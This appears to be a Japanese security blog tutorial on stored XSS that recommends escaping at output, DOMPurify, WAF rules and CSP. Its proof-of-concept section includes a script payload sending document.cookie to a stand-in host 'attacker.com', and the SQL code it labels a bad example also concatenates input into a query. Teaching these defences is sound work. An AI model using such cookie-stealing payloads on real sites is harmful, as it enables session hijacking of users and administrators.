【実務・中級編】 蓄積型XSS(Stored XSS)の脅威とデータベース保存時のサニタイズ – オフェンシブセキュリティ & リバースエンジニアリング防御ガイド

データベースは「毒」を運ぶ運び屋だ――蓄積型XSSの真の脅威と現場の鉄則

現場でコードをレビューしていると、いまだに「入力時に htmlspecialchars() をかけてデータベースに保存する」という実装に出くわすことがある。一見すると安全そうに見えるが、これはセキュリティのプロから見れば「時限爆弾を自ら埋め込んでいる」のと同義だ。

なぜか? データベースは単なるストレージであり、そこからデータを取り出すのはWebアプリケーションだけではないからだ。API、バッチ処理、管理画面のCSV出力、あるいは将来的に追加されるモバイルアプリ。保存時に加工してしまうと、文脈に応じた正しいエスケープができなくなり、結果として脆弱性やデータ破損を招く。

今日は、蓄積型XSS(Stored XSS)がなぜ「最も危険なXSS」と呼ばれ、どう実装すべきかを叩き込んでいく。

—

蓄積型XSS:一度の侵入が「永続的な支配」に変わる瞬間

反射型XSSが「通りすがりの刺客」なら、蓄積型XSSは「屋敷に住み着く寄生虫」だ。攻撃者は掲示板の投稿、プロフィール欄、商品レビューなど、DBに保存される箇所に悪意あるスクリプトを仕込む。

PoC:あなたの掲示板が乗っ取られるシナリオ

例えば、ユーザーのプロフィール編集画面で、名前の入力値が十分にチェックされていないとする。攻撃者は以下のペイロードを送信する。

<script>
  // 管理者のセッションCookieを攻撃者のサーバーへ送信する
  fetch('https://attacker.com/log?cookie=' + document.cookie);
</script>

これがDBに保存されると、そのプロフィールページを閲覧するすべてのユーザー(管理者含む)のブラウザでこのコードが実行される。管理者が見れば、その瞬間に管理権限が奪取され、システムは完全に制御下に置かれる。これが「永続的」であることの恐怖だ。

—

鉄則:エスケープは「出力時」に、文脈に合わせて行う

セキュリティの教本には「入力値をサニタイズせよ」と書いてあることが多いが、これは半分正解で半分間違いだ。入力時は「バリデーション(型や文字数の制限)」を行い、エスケープは「出力時」に行うのが、堅牢なシステムの鉄則だ。

不適切な例(やってはいけない実装)

// 悪い例:DB保存時にエスケープしてしまう
$name = htmlspecialchars($_POST['name'], ENT_QUOTES, 'UTF-8');
$db->query("INSERT INTO users (name) VALUES ('$name')");

これをしてしまうと、データを取り出すたびに &lt; のような変換済みの文字列が返ってきてしまい、二重エスケープや表示崩れの原因になる。

正しい実装:PHPでの出力時エスケープ

PHPの htmlspecialchars を使い、HTMLとして出力する直前に変換する。

<?php
// 1. DBからは生のデータを取得する
$user = $db->query("SELECT name FROM users WHERE id = 1")->fetch();

// 2. 表示する直前でエスケープする(これが鉄則)
// ENT_QUOTES: シングルクォートとダブルクォートの両方を変換
// 'UTF-8': 文字コードを明示的に指定
echo htmlspecialchars($user['name'], ENT_QUOTES, 'UTF-8');
?>

—

モダンなフロントエンドとJavaScriptの落とし穴

最近では React や Vue.js を使っているから安心だ、と思っているなら要注意だ。確かにこれらのフレームワークはデフォルトでエスケープしてくれるが、以下の実装を行った瞬間に穴が開く。

  • React の dangerouslySetInnerHTML
  • Vue.js の v-html

これらは「意図的にエスケープを無効化する」機能だ。どうしても使わなければならない場合は、DOMPurify のようなライブラリを必ず併用せよ。

DOMPurify を使った安全なレンダリング例

import DOMPurify from 'dompurify';

// ユーザーが入力した生のHTMLをサニタイズしてから表示する
const rawHtml = "<img src=x onerror=alert(1)>";
const cleanHtml = DOMPurify.sanitize(rawHtml);

// これなら攻撃用のスクリプトは除去され、安全なHTMLだけが適用される
document.getElementById('content').innerHTML = cleanHtml;

—

インフラ層での「最後の砦」:WAFとCSP

アプリケーション層の不備を補うために、インフラ側でも多層防御を敷く。

1. WAF(Web Application Firewall)の活用

AWS WAFなどを導入しているなら、XSS 関連のマネージドルールを必ず有効にしておくこと。ただし、WAFは万能ではない。あくまで「既知の攻撃パターン」を防ぐ盾であり、未知の攻撃には無力だ。

2. コンテンツセキュリティポリシー (CSP)

最強の防御策の一つがCSPだ。サーバーからブラウザに対し、「このページでは信頼できないインラインスクリプトは一切実行するな」と命令する。

Nginxの設定例:

# レスポンスヘッダーにCSPを追加
# 'self':自ドメインからのスクリプトのみ許可
# unsafe-inline:これを禁止することでインラインXSSを無効化できる
add_header Content-Security-Policy "default-src 'self'; script-src 'self'; object-src 'none';";

これを導入するだけで、万が一あなたのコードにXSS脆弱性が残っていても、攻撃者が仕込んだ <script> タグはブラウザによって即座にブロックされる。

—

最後に:セキュリティは「性悪説」で設計せよ

現場で多くのインシデントを見てきたが、ほとんどの攻撃は「まさかここに入力されるとは思わなかった」という油断から生まれる。

1. バリデーション:入力データは常に汚れていると想定し、型、長さ、許可された文字のみを許可する。
2. 出力エスケープ:ブラウザに渡す直前に、文脈に応じたエスケープを行う。
3. 多層防御:アプリだけでなくCSPやWAFを組み合わせ、一点突破を防ぐ。

この3つを徹底すれば、あなたのシステムは攻撃者にとって「割に合わないターゲット」になる。コードを書くとき、常に「この値が攻撃者によって書き換えられたらどうなるか?」という問いを自分に投げかけてみてほしい。その疑いこそが、最強のエンジニアへの第一歩だ。

コメント

タイトルとURLをコピーしました